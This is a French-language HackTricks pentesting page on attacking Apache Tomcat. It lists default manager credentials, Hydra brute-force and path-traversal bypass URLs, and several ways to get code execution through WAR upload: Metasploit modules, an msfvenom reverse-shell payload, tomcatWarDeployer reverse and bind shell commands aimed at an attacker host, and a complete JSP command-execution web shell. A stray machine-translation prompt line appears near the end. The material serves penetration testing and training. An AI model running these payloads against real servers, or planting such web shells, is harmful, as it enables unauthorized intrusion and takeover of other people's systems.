Tomcat

Reading time: 8 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks

DĂ©couverte

  • Il fonctionne gĂ©nĂ©ralement sur le port 8080
  • Erreur Tomcat courante :

ÉnumĂ©ration

Identification de la version

Pour trouver la version d'Apache Tomcat, une simple commande peut ĂȘtre exĂ©cutĂ©e :

bash
curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat

Cela recherchera le terme "Tomcat" dans la page d'index de la documentation, révélant la version dans la balise titre de la réponse HTML.

Emplacement des fichiers du gestionnaire

Identifier les emplacements exacts des rĂ©pertoires /manager et /host-manager est crucial car leurs noms peuvent ĂȘtre modifiĂ©s. Une recherche par force brute est recommandĂ©e pour localiser ces pages.

ÉnumĂ©ration des noms d'utilisateur

Pour les versions de Tomcat antérieures à 6, il est possible d'énumérer les noms d'utilisateur via :

bash
msf> use auxiliary/scanner/http/tomcat_enum

Identifiants par défaut

Le /manager/html répertoire est particuliÚrement sensible car il permet le téléchargement et le déploiement de fichiers WAR, ce qui peut conduire à l'exécution de code. Ce répertoire est protégé par une authentification HTTP de base, avec des identifiants courants étant :

  • admin:admin
  • tomcat:tomcat
  • admin:
  • admin:s3cr3t
  • tomcat:s3cr3t
  • admin:tomcat

Ces identifiants peuvent ĂȘtre testĂ©s en utilisant :

bash
msf> use auxiliary/scanner/http/tomcat_mgr_login

Un autre répertoire notable est /manager/status, qui affiche la version de Tomcat et du systÚme d'exploitation, aidant à l'identification des vulnérabilités.

Attaque par Force Brute

Pour tenter une attaque par force brute sur le répertoire manager, on peut utiliser :

bash
hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html

Along with setting various parameters in Metasploit to target a specific host.

Common Vulnerabilities

Divulgation de mot de passe par backtrace

Accéder à /auth.jsp peut révéler le mot de passe dans un backtrace dans des circonstances favorables.

Double encodage d'URL

La vulnérabilité CVE-2007-1860 dans mod_jk permet le double encodage d'URL pour le chemin de traversée, permettant un accÚs non autorisé à l'interface de gestion via une URL spécialement conçue.

Pour accéder à l'interface de gestion de Tomcat, allez à : pathTomcat/%252E%252E/manager/html

/examples

Les versions d'Apache Tomcat 4.x Ă  7.x incluent des scripts d'exemple qui sont susceptibles de divulgation d'informations et d'attaques par script intersite (XSS). Ces scripts, listĂ©s de maniĂšre exhaustive, doivent ĂȘtre vĂ©rifiĂ©s pour un accĂšs non autorisĂ© et une exploitation potentielle. Trouvez plus d'infos ici

  • /examples/jsp/num/numguess.jsp
  • /examples/jsp/dates/date.jsp
  • /examples/jsp/snp/snoop.jsp
  • /examples/jsp/error/error.html
  • /examples/jsp/sessions/carts.html
  • /examples/jsp/checkbox/check.html
  • /examples/jsp/colors/colors.html
  • /examples/jsp/cal/login.html
  • /examples/jsp/include/include.jsp
  • /examples/jsp/forward/forward.jsp
  • /examples/jsp/plugin/plugin.jsp
  • /examples/jsp/jsptoserv/jsptoservlet.jsp
  • /examples/jsp/simpletag/foo.jsp
  • /examples/jsp/mail/sendmail.jsp
  • /examples/servlet/HelloWorldExample
  • /examples/servlet/RequestInfoExample
  • /examples/servlet/RequestHeaderExample
  • /examples/servlet/RequestParamExample
  • /examples/servlet/CookieExample
  • /examples/servlet/JndiServlet
  • /examples/servlet/SessionExample
  • /tomcat-docs/appdev/sample/web/hello.jsp

Exploitation de la traversée de chemin

Dans certaines configurations vulnérables de Tomcat, vous pouvez accéder à des répertoires protégés dans Tomcat en utilisant le chemin : /..;/

Ainsi, par exemple, vous pourriez ĂȘtre en mesure d'accĂ©der Ă  la page de gestion de Tomcat en accĂ©dant Ă  : www.vulnerable.com/lalala/..;/manager/html

Une autre façon de contourner les chemins protégés en utilisant cette astuce est d'accéder à http://www.vulnerable.com/;param=value/manager/html

RCE

Enfin, si vous avez accÚs au Gestionnaire d'Applications Web Tomcat, vous pouvez télécharger et déployer un fichier .war (exécuter du code).

Limitations

Vous ne pourrez dĂ©ployer un WAR que si vous avez suffisamment de privilĂšges (rĂŽles : admin, manager et manager-script). Ces dĂ©tails peuvent ĂȘtre trouvĂ©s dans tomcat-users.xml gĂ©nĂ©ralement dĂ©fini dans /usr/share/tomcat9/etc/tomcat-users.xml (cela varie selon les versions) (voir POST section).

bash
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed

# deploy under "path" context path
curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/manager/text/deploy?path=/monshell"

# undeploy
curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell"

Metasploit

bash
use exploit/multi/http/tomcat_mgr_upload
msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP>
msf exploit(multi/http/tomcat_mgr_upload) > set rport <port>
msf exploit(multi/http/tomcat_mgr_upload) > set httpusername <username>
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword <password>
msf exploit(multi/http/tomcat_mgr_upload) > exploit

MSFVenom Reverse Shell

  1. Créez le war à déployer :
bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LPORT> -f war -o revshell.war
  1. Téléchargez le fichier revshell.war et accédez-y (/revshell/):

Shell bind et reverse avec tomcatWarDeployer.py

Dans certains scénarios, cela ne fonctionne pas (par exemple, les anciennes versions de sun)

Télécharger

bash
git clone https://github.com/mgeeky/tomcatWarDeployer.git

Shell inversée

bash
./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/

Shell de liaison

bash
./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/

Utilisation de Culsterd

bash
clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows

MĂ©thode manuelle - Web shell

Créer index.jsp avec ce contenu :

java
<FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s+"</br>"; }
}  catch(IOException e) {   e.printStackTrace();   }
}
%>
<pre><%=output %></pre>
bash
mkdir webshell
cp index.jsp webshell
cd webshell
jar -cvf ../webshell.war *
webshell.war is created
# Upload it

Vous pouvez également installer ceci (permet l'upload, le téléchargement et l'exécution de commandes) : http://vonloesch.de/filebrowser.html

MĂ©thode Manuelle 2

Obtenez un shell web JSP tel que ceci et créez un fichier WAR :

bash
wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
zip -r backup.war cmd.jsp
# When this file is uploaded to the manager GUI, the /backup application will be added to the table.
# Go to: http://tomcat-site.local:8180/backup/cmd.jsp

POST

Le nom du fichier des identifiants Tomcat est tomcat-users.xml et ce fichier indique le rĂŽle de l'utilisateur dans Tomcat.

bash
find / -name tomcat-users.xml 2>/dev/null

Please provide the text you would like me to translate.

xml
[...]
<!--
By default, no user is included in the "manager-gui" role required
to operate the "/manager/html" web application.  If you wish to use this app,
you must define such a user - the username and password are arbitrary.

Built-in Tomcat manager roles:
- manager-gui    - allows access to the HTML GUI and the status pages
- manager-script - allows access to the HTTP API and the status pages
- manager-jmx    - allows access to the JMX proxy and the status pages
- manager-status - allows access to the status pages only
-->
[...]
<role rolename="manager-gui" />
<user username="tomcat" password="tomcat" roles="manager-gui" />
<role rolename="admin-gui" />
<user username="admin" password="admin" roles="manager-gui,admin-gui" />

Autres outils de scan tomcat

Références

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks